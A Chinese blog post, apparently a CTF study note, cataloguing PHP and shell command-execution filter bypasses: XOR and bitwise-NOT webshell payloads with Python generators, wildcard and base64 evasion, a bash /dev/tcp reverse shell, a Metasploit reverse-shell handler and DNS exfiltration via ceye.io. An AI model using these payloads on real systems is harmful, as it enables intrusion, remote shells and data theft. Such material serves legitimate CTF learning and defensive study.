CTF WEB总结之RCE(二)

491 阅读4分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第10天,点击查看活动详情

一、命令执行漏洞绕过方法

单引号,双引号绕过:

ca''t flag 或ca""t flag

反斜杠绕过

1; l\s -l;1

利用shell特殊变量绕过

1; l@sl;11;l@s -l;1 · 1; l*s -l;1 1; l$ns -l;1 //n为任意数字都可以

绕过长度限制

1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。


root@kali:~# l\

> s\

> \

> -\

> l\

> >q

root@kali:~# cat q

总用量 5216

-rw-r--r-- 1 root root 0 5月 4 11:59 1

-rw-r--r-- 1 root root 1319936 2月 27 16:45 1.exe

-rw-r--r-- 1 root root 0 1月 29 16:03 1.jpg

-rwxr-xr-x 1 root root 62 1月 21 21:47 1.sh

异或绕过

异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。

在PHP中两个字符串异或之后,得到的还是一个字符串。

例如:我们异或 ? 和 ~ 之后得到的是 A

echo urlencode(~'phpinfo') -> (~%8F%97%8F%96%91%99%90)();

assert(eval($_POST[1])); (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

字符:? ASCII码:63 二进制: 00‭11 1111‬

字符:~ ASCII码:126 二进制: 0111 1110‬

异或规则:

1 XOR 0 = 1

0 XOR 1 = 1

0 XOR 0 = 0

1 XOR 1 = 0

上述两个字符异或得到 二进制: 0100 0001

该二进制的十进制也就是:65

对应的ASCII码是:A

例题


<?php

highlight_file(__FILE__);

error_reporting(0);

if(preg_match('/[a-z0-9]/is', $_GET['shell'])){

    echo "hacker!!";

}else{

    eval($_GET['shell']);

}

?>

过滤了所有英文字母和数字,但是我们知道ASCII码中还有很多字母数字之外的字符,利用这些字符进行异或可以得到我们想要的字符

PS:取ASCII表种非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号

# -*- coding: utf-8 -*-

  


payload = "assert"

strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]

#strlist是ascii表中所有非字母数字的字符十进制

str1,str2 = '',''

  


for char in payload:

    for i in strlist:

        for j in strlist:

            if(i ^ j == ord(char)):

                i = '%{:0>2}'.format(hex(i)[2:])

                j = '%{:0>2}'.format(hex(j)[2:])

                print("('{0}'^'{1}')".format(i,j),end=".")

                break

            else:

                continue

        break

一次代码执行只能得到我们想要执行语句的字符串,并不能执行语句,所以需要执行两次代码执行,构造

assert($_GET[_]); 使用脚本对每个字母进行转换,然后拼接


$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');

//$_='assert';

$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');

//$__='_GET';

$___=$$__;

//$___='$_GET';

$_($___[_]);

//assert($_GET[_]);

payload

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

经本地测试,发现这种方法可以在php5以及php7.0.9版本种使用,因为assert()的问题,并不是异或不能使用

注:PHP5低版本有些可能因为magic_quotes_gpc开启的关系导致无法利用

当过滤字符的范围没有那么大,或者只是过滤关键字的时候可以使用如下脚本

# -*- coding: utf-8 -*-

import string

  


char = string.printable

cmd = 'system'

tmp1,tmp2 = '',''

for res in cmd:

    for i in char:

        for j in char:

        if(ord(i)^ord(j) == ord(res)):

            tmp1 += i

            tmp2 += j

            break

    else:

        continue

    break

print("('{}'^'{}')".format(tmp1,tmp2))

网上看到的payload


${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

//${_GET}{%ff}();&%ff=phpinfo

url编码取反绕过

无参数:


PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"

Command line code:1:

string(21) "%8F%97%8F%96%91%99%90"

  


payload:

(~%8F%97%8F%96%91%99%90)();

#phpinfo();

有参数


PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"

Command line code:1:

string(18) "%8C%86%8C%8B%9A%92"

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'whoami'));"

Command line code:1:

string(18) "%88%97%90%9E%92%96"

  


payload:

(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);

#system('whoami');5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,所以参考上面那种异或拼接的方法

$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);

#assert($_POST[_]);

内联执行


echo "a ifconfig"

root@kali:~# echo “a`ifconfig`” 或者 echo “abcd $(pwd)

“abridge0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 46:1e:b4:09:b7:c9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 288 (288.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.114.128 netmask 255.255.255.0 broadcast 192.168.114.255 inet6 fe80::20c:29ff:fe12:e944 prefixlen 64 scopeid 0x20 ether 00:0c:29:12:e9:44 txqueuelen 1000 (Ethernet) RX packets 71893 bytes 25359864 (24.1 MiB) RX errors 1 dropped 0 overruns 0 frame 0 TX packets 4286 bytes 274575 (268.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 80 bytes 4136 (4.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 80 bytes 4136 (4.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

其他方法

利用通配符: 1; cat${IFS}fl* ;1

最简单的:1;cat *;1

1; cat${IFS}fla? ;1

1; cat${IFS}fla[^1] ;1

当cat被过滤后

(1)more:一页一页的显示档案内容

(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体内容

<与<<的区别

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。

>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。

文件读取绕过


root@kali:~# ls -t

flag

root@kali:~# ls -t > a

root@kali:~# sh a

flag wwww

利用base64编码绕过


root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt

sss

ddd

处理无回显的命令执行漏洞

利用bash命令: 使用nc监听我们的8080端口:nc -l -p 8080 -vvv 把bash命令传过来:bash -i >& /dev/tcp/ip地址/8080 0>&1 关于这个的具体实现原理可以再网上找下,有很多详细的说明。

msf

利用msf也可以,


use exploit/multi/handler

set payload linux/armle/shell/reverse_tcp

set lport 8080

set lhost ip地址

set exitonsession false

exploit -j

利用dns解析


root@kali:~# ping `whoami`.******.ceye.io

ping: root.******.ceye.io: 未知的名称或服务

例题 kx biwu web2命令执行\

后端执行:

{"killed":false,"code":1,"signal":null,"cmd":"echo | cat /flag > /var/www/web/public/writes/xxx.html"}

filename=s33333

&content=| cat /flag

/;|[a-z]|`|%|\x09|\x26|>|</i 正则绕过

此正则过滤了



?cmd=/???/??? /????.??? -> /bin/cat /flag.php

?cmd=/???/???/????64 /????.??? -> /usr/bin/base64 /flag.php

$0 -> sh
```s